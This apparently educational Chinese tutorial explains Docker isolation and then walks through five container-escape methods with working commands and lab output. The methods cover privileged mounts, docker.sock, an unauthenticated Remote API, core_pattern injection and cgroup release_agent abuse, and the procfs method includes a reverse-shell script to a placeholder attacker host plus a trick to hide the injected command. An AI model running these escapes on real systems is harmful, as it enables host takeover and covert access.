docker逃逸
docker容器可以理解为主机上的一个进程,而虚拟机则是与主机完全隔离的
Docker 主要是基于 Namespace、cgroups 和联合文件系统这三大核心技术实现的,在介绍攻击方法之前,先来了解一下docker特有的几个技术
Namespaces
在docker容器中所用的环境都是相互独立的,主要通过linux内核特性Namespaces来实现,将每个容器的进程id、主机名、用户、网络等资源进行隔离
docker则使用了以下的六种Namespace
Namespace名称 | 作用 |
---|---|
Mount(mnt) | 隔离挂载点 |
Process ID (pid) | 隔离进程 ID |
Network (net) | 隔离网络设备,端口号等 |
Interprocess Communication (ipc) | 隔离 System V IPC 和 POSIX message queues |
UTS Namespace(uts) | 隔离主机名和域名 |
User Namespace (user) | 隔离用户和用户组 |
通常我们可以使用unshare、clone等linux命令进行Namespace的调用,在创建docker时,会对应创建以上六种Namespace,实现docker的隔离
Cgroups
在docker容器中,环境虽然是隔离的,但用的仍是主机的cpu与内存,那么就需要对docker容器内对应的内存进行控制,主要通过Cgroups来进行限制

在docker启动的过程中会生成以container id为名字的目录,根据docker构建时memory等参数,对相应的cgroups文件进行相应的配置进而限制资源
overlayFS
Docker 中最常用的联合文件系统有三种:AUFS、Devicemapper 和 OverlayFS
针对于overlayFS分为两个阶段:overlay与overlay2,overlay2相较于更加稳定,使用也更加普遍
overlay2将镜像层和容器层都放在单独的目录,并且有唯一 ID,每一层仅存储发生变化的文件,最终使用联合挂载技术将容器层和镜像层的所有文件统一挂载到容器中,使得容器中看到完整的系统文件。
在进行docker逃逸前要先确定自己是否在docker容器当中,提供两种方法:
1.检查/.dockerenv
文件是否存在;2.检查/proc/1/cgroup
内是否包含"docker"等字符串;
容器配置不当导致docker逃逸
1.使用了--privileged特权模式
docker run -it --privileged --name=docker_escape ubuntu:latest /bin/bash
复制
在容器中时可以通过如下参数检测当前容器是否是以特权模式启动
root@f5ac4ef7ecf9:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff复制
在linux中通过Capabilities机制对用户权限进行细致区分,一个线程拥有五个Capabilities集合Permitted
、Inheritable
、Effective
、Bounding
和Ambient
分别对应了/proc/self/status
中的CapPrm
、CapInh
、CapEff
、CapBnd
和CapAmb
Effective
集合就是主要的当前线程特权操作权限(Capabilities)的集合,所以当CapEff
值为0000003fffffffff
时就表明我们当前是特权模式
在特权模式下,容器拥有所有权利,包括宿主机的一些内核特性和设备访问等
所以在特权模式下,我们可以通过mount目录挂载至主机的硬盘内,让目录成为设备的访问点,实现文件系统层面的逃逸
root@bc40aaf8a89b:/# fdisk -l | grep /dev/sda
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
/dev/sda1 * 2048 41940991 41938944 20G 83 Linux
root@bc40aaf8a89b:/# mkdir vigorous
root@bc40aaf8a89b:/# mount /dev/sda1 /vigorous
root@bc40aaf8a89b:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var vigorous
root@bc40aaf8a89b:/# cd vigorous/
root@bc40aaf8a89b:/vigorous# ls
bin boot cdrom dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var vmlinuz vmlinuz.old复制
2.挂载docker.sock文件
docker run -it -v /var/run/docker.sock:/var/run/docker.sock --name=docker_escape ubuntu:latest /bin/bash
复制
docker是C/S架构,输入docker version
命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。
Doceker Daemon
默认监听的是/var/run/docker.sock
这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock
发送请求,也能达到docker ps
、docker images ls
这样的效果。
当创建的容器中挂载了docker.sock文件,也就意味着我们可以在容器就拥有了宿主机的权限,可以执行任意docker相关命令
先判断容器是否挂载了docker.sock,以及挂载目录
root@0bafdd91a3d1:/# ls /var/run/ | grep docker.sock
docker.sock
root@0bafdd91a3d1:/# find / -name docker.sock
/run/docker.sock复制
首先在容器中安装docker命令,并执行docker ps命令,发现与主机效果相同,证明存在docker.sock文件挂载
root@3a489698b9d7:/docker# history
1 sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
2 apt update&& apt install -y wget
3 curl
4 wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
5 tar xf ./docker-17.03.0-ce.tgz
6 cd /docker
7 ls
8 ./docker ps复制
再重新启动一个容器,配置挂载特权目录实现逃逸
root@3a489698b9d7:/docker# ./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
root@227d30540aa3:/# ls
bin boot dev etc home host lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@227d30540aa3:/# cd host/
root@227d30540aa3:/host# ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap swapfile tmp var vmlinuz.old
boot dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz
root@227d30540aa3:/host# cd home/vigorous/
root@227d30540aa3:/host/home/vigorous# ls
metarget ''$'\345\205\254\345\205\261\347\232\204' ''$'\346\226\207\346\241\243' ''$'\346\250\241\346\235\277' ''$'\351\237\263\344\271\220'
''$'\344\270\213\350\275\275' ''$'\345\233\276\347\211\207' ''$'\346\241\214\351\235\242' ''$'\350\247\206\351\242\221'复制
3.Docker Remote API未授权
此环境使用了vulhub上的镜像文件
Docker Remote API 是一个取代远程命令行界面的REST API,docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api,因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell
当我们访问/version时会出现docker版本等信息

证明漏洞的存在,现在就可以利用这个接口来执行docker的相关命令了
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE复制
在docker内部没有任何的镜像,我们需要拉去一个镜像,再创建特权目录的容器进行简单逃逸
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 0ac33e5f5afa 5 weeks ago 5.57MB
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 run -it --privileged alpine /bin/sh
/ # fdisk -l | grep "dev"
Disk /dev/vda: 50 GB, 53687091200 bytes, 104857600 sectors
/dev/vda1 * 0,32,33 130,170,40 2048 2099199 2097152 1024M 83 Linux
/dev/vda2 130,170,41 1023,254,63 2099200 104857599 102758400 48.9G 8e Linux LVM
Disk /dev/dm-0: 47 GB, 50457477120 bytes, 98549760 sectors
Disk /dev/dm-0 doesn't contain a valid partition table
Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors
Disk /dev/dm-1 doesn't contain a valid partition table
/ # mkdir vigorous
/ # mount /dev/dm-0 /vigorous
/ # ls
bin etc lib mnt proc run srv tmp var
dev home media opt root sbin sys usr vigorous
/ # cd vigorous/
/vigorous # ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
/vigorous # cd root/
/vigorous/root # ls
1.py Python-3.8.11 Python-3.8.11.tgz anaconda-ks.cfg vulhub复制
4.挂载procfs文件(proc file system)
docker run -it -v /proc:/etc_proc --name=docker_escape4 ubuntu:latest /bin/bash
复制
linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态,其中包含许多的敏感文件,其中/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行
先判断容器是否挂载了procfs文件
root@de8e530b1785:/# find / -name core_pattern 2>/dev/null
/proc/sys/kernel/core_pattern
/etc_proc/sys/kernel/core_pattern复制
由于是以宿主机上的权限运行的,因此工作的路径则是docker目录的路径,那么首先就要获取docker的work目录
root@8ba918290061:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VW2KKRKAM3I23KIAJR5VLZ3AQA:/var/lib/docker/overlay2/l/OKSGOMHL2ZMXVTNUDGI6KQUFYS,upperdir=/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/diff,workdir=/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/work 0 0复制
将我们要运行的命令写进/proc/sys/kernel/core_pattern
文件中
root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/merged/tmp/.x.py \rcore " > /etc_proc/sys/kernel/core_pattern
复制
其中\r
是为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令
编写反弹shell的文件,并赋予执行权限
root@8ba918290061:/# cat >/tmp/.x.py << EOF
> #!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> s.connect((lhost, lport))
> os.dup2(s.fileno(), 0)
> os.dup2(s.fileno(), 1)
> os.dup2(s.fileno(), 2)
> os.putenv("HISTFILE", '/dev/null')
> pty.spawn("/bin/bash")
> os.remove('/tmp/.x.py')
> s.close()
> if __name__ == "__main__":
> main()
> EOF
root@8ba918290061:/#
root@8ba918290061:/# chmod +x /tmp/.x.py复制
编写存在崩溃的程序,编译后执行
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}复制
在攻击机上选择相应端口监听即可反弹shell
5.SYS_ADMIN权限滥用
docker run -it --cap-add SYS_ADMIN --security-opt apparmor=unconfined --name=docker_escape1 ubuntu:latest /bin/bash
复制
在赋予sys_admin
权限的同时,需要关掉安全组apparmor设置,才可以进行相应条件利用,赋予的sys_admin
权限可以执行mount
等操作
在前面的内容中提到过cgroup是linux内核中负责管理资源分配的机制,可以通过mount -t cgroup看到系统cgroup的挂载情况

具体观察在cgroup中具体的文件,其中包含许多的子系统
root@vigorous-virtual-machine:/sys/fs/cgroup# ls -ls
总用量 0
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 blkio
0 lrwxrwxrwx 1 root root 11 5月 11 11:44 cpu -> cpu,cpuacct
0 lrwxrwxrwx 1 root root 11 5月 11 11:44 cpuacct -> cpu,cpuacct
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 cpu,cpuacct
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 cpuset
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 devices
0 dr-xr-xr-x 6 root root 0 5月 11 11:44 freezer
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 hugetlb
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 memory
0 lrwxrwxrwx 1 root root 16 5月 11 11:44 net_cls -> net_cls,net_prio
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 net_cls,net_prio
0 lrwxrwxrwx 1 root root 16 5月 11 11:44 net_prio -> net_cls,net_prio
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 perf_event
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 pids
0 dr-xr-xr-x 3 root root 0 5月 18 12:09 rdma
0 dr-xr-xr-x 6 root root 0 5月 11 11:44 systemd
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 unified复制
以devices为例,其中cgroup.procs
、notify_on_release
、tasks
文件与我们讨论的逃逸问题息息相关
root@vigorous-virtual-machine:/sys/fs/cgroup/devices# ls -ls
总用量 0
0 -rw-r--r-- 1 root root 0 5月 18 17:54 cgroup.clone_children
0 -rw-r--r-- 1 root root 0 5月 11 14:22 cgroup.procs
0 -r--r--r-- 1 root root 0 5月 18 17:54 cgroup.sane_behavior
0 --w------- 1 root root 0 5月 18 17:54 devices.allow
0 --w------- 1 root root 0 5月 18 17:54 devices.deny
0 -r--r--r-- 1 root root 0 5月 18 17:54 devices.list
0 drwxr-xr-x 4 root root 0 5月 17 09:48 docker
0 -rw-r--r-- 1 root root 0 5月 18 17:54 notify_on_release
0 -rw-r--r-- 1 root root 0 5月 18 17:54 release_agent
0 drwxr-xr-x 84 root root 0 5月 11 14:26 system.slice
0 -rw-r--r-- 1 root root 0 5月 18 17:54 tasks
0 drwxr-xr-x 2 root root 0 5月 11 14:22 user.slice复制
cgroup.procs
文件主要记录线程组id。当某个线程组id被记录到此文件后,就表示与此线程相关的所有线程都被加入到改cgroup中
tasks
文件主要记录线程id。如果该线程的线程组与其不在同一个cgroup中,那会在cgroup.procs
有所记录
notify_on_release
文件表示是否在cgroup中最后一个任务退出时运行release agent,默认情况下是0,表示不运行;如果notify_on_release
的值被设置为1,cgroup下所有task结束的时候,那么内核就会运行root cgroup下release_agent
文件中的对应路径的文件
所以在逃逸是第一步我们需要将cgroup进行挂载
root@4706584ff818:/# mkdir /tmp/vigorous
root@4706584ff818:/# mount -t cgroup -o memory cgroup /tmp/vigorous (-t指定挂载的类型 -o指定挂载的选项)复制
接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全
root@4706584ff818:/tmp/vigorous# mkdir /tmp/vigorous/x
复制
第二步就需要我们设置notify_on_release
文件内容为1,设置release_agent
文件的对应路径为宿主机的可写目录upperdir
root@8f17c7063d3a:/tmp/vigorous# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@8f17c7063d3a:/tmp/vigorous# echo "$host_path/cmd" > /tmp/vigorous/release_agent复制
编写shell文件
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd复制
清除cgroup.procs中进程,触发cmd文件执行
root@8f17c7063d3a:/# sh -c "echo \$\$ > /tmp/vigorous/x/cgroup.procs"
root@8f17c7063d3a:/# ls
bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var
root@8f17c7063d3a:/# cat /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 225652 5948 ? Ss May16 0:23 /lib/systemd/systemd --system --deserialize 19
root 2 0.0 0.0 0 0 ? S May16 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< May16 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< May16 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S May16 0:13 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I May16 0:15 [rcu_sched]
root 9 0.0 0.0 0 0 ? I May16 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S May16 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S May16 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S May16 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S May16 0:00 [kdevtmpfs]复制
该命令启动一个sh进程,将sh进程的PID写入到/tmp/vigorous/x/cgroup.procs里,这里的\$\$
表示sh进程的PID。
在执行完sh -c
之后,sh进程自动退出,这样cgroup /tmp/vigorous/x
里不再包含任何任务,/tmp/vigorous/release_agent
文件里的shell将被操作系统内核执行
reference
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://f5.pm/go-60440.html
https://lifeve.cn/WxLs2mTatuvgjd.html
https://github.com/Metarget/metarget